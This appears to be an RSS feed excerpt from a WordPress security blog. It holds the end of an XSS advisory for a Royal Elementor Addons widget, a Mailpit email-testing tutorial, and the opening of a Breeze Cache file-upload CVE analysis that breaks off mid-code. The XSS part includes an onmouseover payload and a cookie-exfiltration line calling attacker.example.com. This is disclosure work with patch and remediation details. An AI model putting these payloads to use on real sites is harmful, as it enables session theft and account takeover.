&lt;p&gt;Configure the widget query to use &lt;strong&gt;Media Library&lt;/strong&gt; as source (the default). Ensure the widget is set to display images from the Media Library (it queries &lt;code&gt;post_type=attachment&lt;/code&gt;). The malicious image will appear in the grid.&lt;/p&gt;
&lt;p&gt;Publish or update the page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger the XSS as an unauthenticated visitor&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit the published page in a browser (logged out or as a different user):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://target-site.example.com/page-with-media-grid/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rendered HTML will contain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;https://target-site.example.com/wp-content/uploads/malicious.jpg&quot;
     alt=&quot;&quot; onmouseover=&quot;alert(document.cookie)&quot;
     class=&quot;wpr-anim-timing-linear&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hover the mouse over the malicious image. The JavaScript payload fires immediately.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The browser executes &lt;code&gt;alert(document.cookie)&lt;/code&gt; — demonstrating XSS. In a real attack, the payload would be replaced with a cookie-exfiltration script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; onmouseover=&quot;fetch(&apos;https://attacker.example.com/?c=&apos;+document.cookie)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An admin visiting the page would have their &lt;code&gt;wordpress_logged_in_*&lt;/code&gt; session cookie sent to the attacker, enabling full account takeover without needing credentials.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After triggering the PoC, verify the exploit succeeded by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Browser DevTools&lt;/strong&gt;: Open DevTools → Console. After hovering the image, the alert fires and the cookie value is displayed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Source inspection&lt;/strong&gt;: View Page Source and search for &lt;code&gt;onmouseover&lt;/code&gt; — the injected event handler will be visible in the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network tab&lt;/strong&gt;: If using an exfiltration payload, observe the outbound request to the attacker-controlled domain carrying the victim&apos;s cookies.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;Modified File&lt;/h3&gt;
&lt;p&gt;The patch in version 1.7.1057 changes &lt;strong&gt;one line&lt;/strong&gt; in &lt;code&gt;modules/media-grid/widgets/wpr-media-grid.php&lt;/code&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Lines Changed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;modules/media-grid/widgets/wpr-media-grid.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Line 6787 (patched) — escaping fix; plus unrelated pagination and query improvements&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The XSS fix touches only one line — a single function swap.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- echo &apos;&amp;lt;img src=&quot;&apos;. esc_url( $src ) .&apos;&quot; alt=&quot;&apos;. wp_kses_post( $alt ) .&apos;&quot; class=&quot;wpr-anim-timing-&apos;. esc_html($settings[ &apos;image_effects_animation_timing&apos;]) .&apos;&quot;&amp;gt;&apos;;
+ echo &apos;&amp;lt;img src=&quot;&apos;. esc_url( $src ) .&apos;&quot; alt=&quot;&apos;. esc_attr( $alt ) .&apos;&quot; class=&quot;wpr-anim-timing-&apos;. esc_html($settings[ &apos;image_effects_animation_timing&apos;]) .&apos;&quot;&amp;gt;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;esc_attr()&lt;/code&gt; properly HTML-encodes all special characters in attribute context:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;&lt;/code&gt; → &lt;code&gt;&amp;amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; → &lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; → &lt;code&gt;&amp;amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; → &lt;code&gt;&amp;amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This prevents any injection of additional HTML attributes or tags via the caption/title value.&lt;/p&gt;
&lt;p&gt;The patch also adds &lt;code&gt;&apos;post_mime_type&apos; =&amp;gt; &apos;image&apos;&lt;/code&gt; to the attachment query (line ~6670). This is a defense-in-depth improvement — it limits the media grid to image attachments only, narrowing the attack surface.&lt;/p&gt;
&lt;p&gt;The fix is complete for the reported vector. This code path has no remaining risk.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;@@ -6755,7 +6787,7 @@ class Wpr_Media_Grid extends Widget_Base {
     $alt = &apos;&apos; === wp_get_attachment_caption( $id ) ? get_the_title() : wp_get_attachment_caption( $id );

     echo &apos;&amp;lt;div class=&quot;wpr-grid-image-wrap&quot; data-src=&quot;&apos;. esc_url( wp_get_attachment_url( $id ) ) .&apos;&quot;&amp;gt;&apos;;
-        echo &apos;&amp;lt;img src=&quot;&apos;. esc_url( $src ) .&apos;&quot; alt=&quot;&apos;. wp_kses_post( $alt ) .&apos;&quot; class=&quot;wpr-anim-timing-&apos;. esc_html($settings[ &apos;image_effects_animation_timing&apos;]) .&apos;&quot;&amp;gt;&apos;;
+        echo &apos;&amp;lt;img src=&quot;&apos;. esc_url( $src ) .&apos;&quot; alt=&quot;&apos;. esc_attr( $alt ) .&apos;&quot; class=&quot;wpr-anim-timing-&apos;. esc_html($settings[ &apos;image_effects_animation_timing&apos;]) .&apos;&quot;&amp;gt;&apos;;
     echo &apos;&amp;lt;/div&amp;gt;&apos;;
 }

@@ -6639,6 +6670,7 @@ class Wpr_Media_Grid extends Widget_Base {
     $args = [
         &apos;post_type&apos; =&amp;gt; &apos;attachment&apos;,
         &apos;post_status&apos; =&amp;gt; &apos;inherit&apos;,
+        &apos;post_mime_type&apos; =&amp;gt; &apos;image&apos;,
         &apos;tax_query&apos; =&amp;gt; $this-&amp;gt;get_tax_query_args(),
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Dmitrii Ignatyev (CleanTalk Inc)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.7.1057 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;royal-elementor-addons&lt;/code&gt; plugin to version &lt;strong&gt;1.7.1057&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If you cannot update right away, audit your Media Library for image captions with suspicious content — double quotes, &lt;code&gt;onmouseover&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, and similar patterns. Also restrict Author-level uploads until the patch is applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/media-grid/widgets/wpr-media-grid.php#L6755&quot;&gt;Vulnerable code — trunk (line 6755)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/modules/media-grid/widgets/wpr-media-grid.php#L6755&quot;&gt;Vulnerable code — tag 1.7.1049 (line 6755)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/media-grid/widgets/wpr-media-grid.php#L6752&quot;&gt;Vulnerable code — trunk (line 6752)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/modules/media-grid/widgets/wpr-media-grid.php#L6752&quot;&gt;Vulnerable code — tag 1.7.1049 (line 6752)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3503209%40royal-elementor-addons&amp;amp;new=3503209%40royal-elementor-addons&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Fix changeset 3503209&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-27T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Mailpit: Capture &amp; Inspect Emails Locally for WordPress, Laravel, and PHP</title><link>https://hurayraiit.com/blog/mailpit-local-email-testing-wordpress-laravel-php/</link><guid isPermaLink="true">https://hurayraiit.com/blog/mailpit-local-email-testing-wordpress-laravel-php/</guid><description>Set up Mailpit on macOS to intercept all outgoing emails from your local WordPress, Laravel, and custom PHP sites — no real emails sent, everything visible in a browser UI.</description><pubDate>Sun, 26 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you do any kind of local development — WordPress sites, Laravel apps, or custom PHP projects — you have probably run into the email problem.&lt;/p&gt;
&lt;p&gt;You register a user, trigger a password reset, or place a test order, and you have no idea whether the email actually fired. Did it go out? Did it fail silently? Is the SMTP config even working?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mailpit.axllent.org/&quot;&gt;Mailpit&lt;/a&gt; solves this cleanly. It acts as a local SMTP server that catches every outgoing email from your local environment before it reaches the internet, and shows them in a slick web UI. Nothing leaves your machine. No real addresses receive test emails. Everything is inspectable in your browser.&lt;/p&gt;
&lt;h2&gt;What is Mailpit?&lt;/h2&gt;
&lt;p&gt;Mailpit is a lightweight, open-source email testing tool. It starts a local SMTP server on port &lt;code&gt;1025&lt;/code&gt; and a web UI on port &lt;code&gt;8025&lt;/code&gt;. When you configure your local PHP to route mail through Mailpit, every &lt;code&gt;mail()&lt;/code&gt; call, every &lt;code&gt;wp_mail()&lt;/code&gt; in WordPress, every &lt;code&gt;Mail::send()&lt;/code&gt; in Laravel — all of it lands in Mailpit&apos;s inbox instead of going out to a real mail server.&lt;/p&gt;
&lt;p&gt;The dashboard shows you the full email: headers, rendered HTML body, plain text fallback, attachments, and raw source. It is exactly what you need to verify that email flows work correctly during local development and QA.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Install Mailpit on macOS&lt;/h2&gt;
&lt;p&gt;On macOS, install via Homebrew:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install mailpit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then start it as a background service so it runs automatically on login:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew services start mailpit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open &lt;a href=&quot;http://localhost:8025/&quot;&gt;http://localhost:8025/&lt;/a&gt; in your browser. You should see the Mailpit inbox — empty for now, but ready to catch emails.&lt;/p&gt;
&lt;p&gt;For Linux, Windows, or Docker-based setups, check the &lt;a href=&quot;https://mailpit.axllent.org/docs/install/&quot;&gt;official installation docs&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Configure PHP to Route Mail Through Mailpit&lt;/h2&gt;
&lt;p&gt;Mailpit works by replacing PHP&apos;s built-in mail transport. You need to point PHP&apos;s &lt;code&gt;sendmail_path&lt;/code&gt; to the Mailpit binary.&lt;/p&gt;
&lt;p&gt;Find your &lt;code&gt;php.ini&lt;/code&gt; file(s) and add this line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sendmail_path=&apos;/opt/homebrew/bin/mailpit sendmail&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The path &lt;code&gt;/opt/homebrew/bin/mailpit&lt;/code&gt; is the default Homebrew install location on Apple Silicon Macs. Verify it with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;which mailpit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;For Laravel Herd on macOS&lt;/h3&gt;
&lt;p&gt;Herd manages its own PHP installations with separate &lt;code&gt;php.ini&lt;/code&gt; files for each PHP version. They live here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Herd/config/php/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The structure looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├── 74
│   └── php.ini
├── 80
│   └── php.ini
├── 81
│   └── php.ini
├── 82
│   └── php.ini
├── 83
│   └── php.ini
├── 84
│   └── php.ini
├── 85
│   └── php.ini
└── cacert.pem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need to add the &lt;code&gt;sendmail_path&lt;/code&gt; line to every &lt;code&gt;php.ini&lt;/code&gt; for each version you use. Open each file and add:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sendmail_path=&apos;/opt/homebrew/bin/mailpit sendmail&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A quick way to do all of them at once:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for f in ~/Library/Application\ Support/Herd/config/php/*/php.ini; do
  grep -q &quot;mailpit&quot; &quot;$f&quot; || echo &quot;sendmail_path=&apos;/opt/homebrew/bin/mailpit sendmail&apos;&quot; &amp;gt;&amp;gt; &quot;$f&quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After editing, restart Herd&apos;s PHP services from the Herd menu bar icon (or restart Herd itself) so the changes take effect.&lt;/p&gt;
&lt;h3&gt;For Valet on macOS&lt;/h3&gt;
&lt;p&gt;Valet also uses Homebrew-managed PHP. Your &lt;code&gt;php.ini&lt;/code&gt; files are typically at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$(brew --prefix)/etc/php/&amp;lt;version&amp;gt;/php.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the same &lt;code&gt;sendmail_path&lt;/code&gt; line and run &lt;code&gt;valet restart&lt;/code&gt; afterward.&lt;/p&gt;
&lt;h3&gt;For a System PHP or Custom Setup&lt;/h3&gt;
&lt;p&gt;If you are using a system PHP installation or a custom LAMP/LEMP stack, find your active &lt;code&gt;php.ini&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php --ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the line to the file shown under &quot;Loaded Configuration File&quot; and restart your PHP-FPM or web server process.&lt;/p&gt;
&lt;h2&gt;Verify It Works&lt;/h2&gt;
&lt;h3&gt;WordPress&lt;/h3&gt;
&lt;p&gt;In any local WordPress site, install the &lt;a href=&quot;https://wordpress.org/plugins/wp-mail-logging/&quot;&gt;WP Mail Logging&lt;/a&gt; plugin or simply trigger an email — password reset, new user registration, WooCommerce order confirmation — and check &lt;a href=&quot;http://localhost:8025/&quot;&gt;http://localhost:8025/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The email should appear in Mailpit&apos;s inbox within seconds.&lt;/p&gt;
&lt;p&gt;Alternatively, you can use a small snippet in &lt;code&gt;functions.php&lt;/code&gt; to trigger a test email:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action( &apos;init&apos;, function() {
    if ( isset( $_GET[&apos;test_mail&apos;] ) ) {
        wp_mail( &apos;test@example.com&apos;, &apos;Mailpit Test&apos;, &apos;If you see this in Mailpit, it works.&apos; );
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Visit &lt;code&gt;https://yoursite.test/?test_mail=1&lt;/code&gt;, then open Mailpit.&lt;/p&gt;
&lt;h3&gt;Laravel&lt;/h3&gt;
&lt;p&gt;Laravel uses a &lt;code&gt;.env&lt;/code&gt; variable to control the mail driver. For local Mailpit testing, set your &lt;code&gt;.env&lt;/code&gt; to use SMTP pointing at Mailpit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MAIL_MAILER=smtp
MAIL_HOST=127.0.0.1
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then send a test email via Artisan tinker:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php artisan tinker
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Mail::raw(&apos;Hello from Mailpit!&apos;, fn($m) =&amp;gt; $m-&amp;gt;to(&apos;test@example.com&apos;)-&amp;gt;subject(&apos;Test&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check Mailpit at &lt;a href=&quot;http://localhost:8025/&quot;&gt;http://localhost:8025/&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Custom PHP&lt;/h3&gt;
&lt;p&gt;For a plain PHP project using &lt;code&gt;mail()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mail(&apos;test@example.com&apos;, &apos;Mailpit Test&apos;, &apos;Testing sendmail_path config.&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;sendmail_path&lt;/code&gt; is set correctly in &lt;code&gt;php.ini&lt;/code&gt;, this will be intercepted by Mailpit.&lt;/p&gt;
&lt;h2&gt;What Mailpit Shows You&lt;/h2&gt;
&lt;p&gt;Once emails start arriving, the Mailpit UI gives you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rendered HTML view&lt;/strong&gt; — see the email exactly as it would look in a mail client&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plain text view&lt;/strong&gt; — inspect the fallback body&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Raw source&lt;/strong&gt; — full headers and raw MIME content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attachments&lt;/strong&gt; — download and inspect any attached files&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spam score&lt;/strong&gt; — a basic spam analysis via SpamAssassin (if installed)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete/search&lt;/strong&gt; — manage the inbox, search by subject or address&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is everything you need to confirm that emails are formatted correctly, links are pointing to the right URLs, and the &quot;From&quot; address matches your expectations — all without ever sending a real email.&lt;/p&gt;
&lt;h2&gt;Why Use Mailpit Instead of a Real SMTP Service?&lt;/h2&gt;
&lt;p&gt;During local development you want email testing to be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Instant&lt;/strong&gt; — no network latency, no queues&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Isolated&lt;/strong&gt; — real users never receive test emails&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Offline-capable&lt;/strong&gt; — no dependency on external services&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Free and unlimited&lt;/strong&gt; — no rate limits, no account required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tools like &lt;a href=&quot;https://mailtrap.io/&quot;&gt;Mailtrap&lt;/a&gt; or &lt;a href=&quot;https://github.com/mailhog/MailHog&quot;&gt;Mailhog&lt;/a&gt; serve a similar purpose, but Mailpit is actively maintained, faster, and easier to install on macOS via Homebrew. MailHog has been effectively deprecated in favor of Mailpit.&lt;/p&gt;
&lt;p&gt;If you need SMTP options for staging or CI environments where you do want emails to be deliverable, check my post on &lt;a href=&quot;/blog/free-smtp-guide-for-sqa-and-automation/&quot;&gt;free SMTP options for SQA engineers&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Command / Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Install Mailpit&lt;/td&gt;
&lt;td&gt;&lt;code&gt;brew install mailpit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Start as service&lt;/td&gt;
&lt;td&gt;&lt;code&gt;brew services start mailpit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP config&lt;/td&gt;
&lt;td&gt;Add &lt;code&gt;sendmail_path=&apos;/opt/homebrew/bin/mailpit sendmail&apos;&lt;/code&gt; to &lt;code&gt;php.ini&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Herd PHP configs&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/Library/Application Support/Herd/config/php/*/php.ini&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web UI&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://localhost:8025/&quot;&gt;http://localhost:8025/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMTP port&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1025&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Mailpit takes about two minutes to set up and eliminates an entire category of &quot;did that email actually send?&quot; questions from local development. If you are running WordPress or PHP sites locally and are not already using it, add it to your setup today.&lt;/p&gt;
</content:encoded><atom:updated>2026-04-26T00:00:00.000Z</atom:updated><category>linux</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3844: Unauthenticated Arbitrary File Upload To RCE in Breeze Cache Plugin (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2026-3844-arbitrary-file-upload-breeze-cache/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3844-arbitrary-file-upload-breeze-cache/</guid><description>CVE-2026-3844 is a CVSS 9.8 unauthenticated arbitrary file upload flaw in Breeze Cache &lt;= 2.4.4, enabling remote code execution via PHP webshell upload.</description><pubDate>Sat, 25 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3844&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary file upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;Breeze Cache&lt;/a&gt; WordPress plugin. In all versions up to and including 2.4.4, an unauthenticated attacker can upload arbitrary files — including PHP webshells — to the server&apos;s public cache directory. From there, they can achieve Remote Code Execution (RCE). The vulnerability is present only when the optional &quot;Host Files Locally - Gravatars&quot; setting is enabled.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Breeze Cache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;breeze&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3844&quot;&gt;CVE-2026-3844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/breeze.2.4.4.zip&quot;&gt;&amp;lt;= 2.4.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/breeze.2.4.5.zip&quot;&gt;2.4.5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 22, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hung Nguyen (bashu) - VN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Breeze Cache is vulnerable to arbitrary file uploads in all versions up to and including 2.4.4. The root cause is missing file type validation inside the &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt; function. Unauthenticated attackers can upload any file to the server, potentially achieving remote code execution. Attackers can only exploit this when &quot;Host Files Locally - Gravatars&quot; is enabled, which is disabled by default.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Feature Context&lt;/h3&gt;
&lt;p&gt;The &quot;Host Files Locally - Gravatars&quot; feature, when enabled, hooks into WordPress&apos;s &lt;code&gt;get_avatar&lt;/code&gt; filter to intercept every avatar image display. Its purpose is to download remote Gravatar images once and serve them from the local server cache, reducing external requests and improving page load times.&lt;/p&gt;
&lt;p&gt;The feature is activated in &lt;code&gt;breeze.php&lt;/code&gt; (line 127–128):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$gravatars_enabled = Breeze_Options_Reader::get_option_value( &apos;breeze-store-gravatars-locally&apos; );
new Breeze_Cache_CronJobs( $gravatars_enabled );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;$gravatars_enabled&lt;/code&gt; is truthy, the constructor registers the &lt;code&gt;get_avatar&lt;/code&gt; filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_filter( &apos;get_avatar&apos;, array( &amp;amp;$this, &apos;breeze_replace_gravatar_image&apos; ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;inc/class-breeze-cache-cronjobs.php&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Step 1 — Filter entry point: &lt;code&gt;breeze_replace_gravatar_image&lt;/code&gt; (line 89)&lt;/h4&gt;
&lt;p&gt;This function receives the full avatar HTML string generated by WordPress (e.g., &lt;code&gt;&amp;lt;img src=&quot;https://secure.gravatar.com/avatar/abc123?s=96&amp;amp;d=mm&quot; srcset=&quot;...&quot;/&amp;gt;&lt;/code&gt;). It uses a permissive regex to extract URLs from the &lt;code&gt;src&lt;/code&gt; and &lt;code&gt;srcset&lt;/code&gt; attributes and passes them to &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function breeze_replace_gravatar_image( string $gravatar ): string {
    preg_match_all( &apos;/srcset=[&quot;\&apos;]?((?:.(?![&quot;\&apos;]?\s+(?:\S+)=|\s*\/?[&amp;gt;&quot;\&apos;]))+.)[&quot;\&apos;]?/&apos;, $gravatar, $srcset );
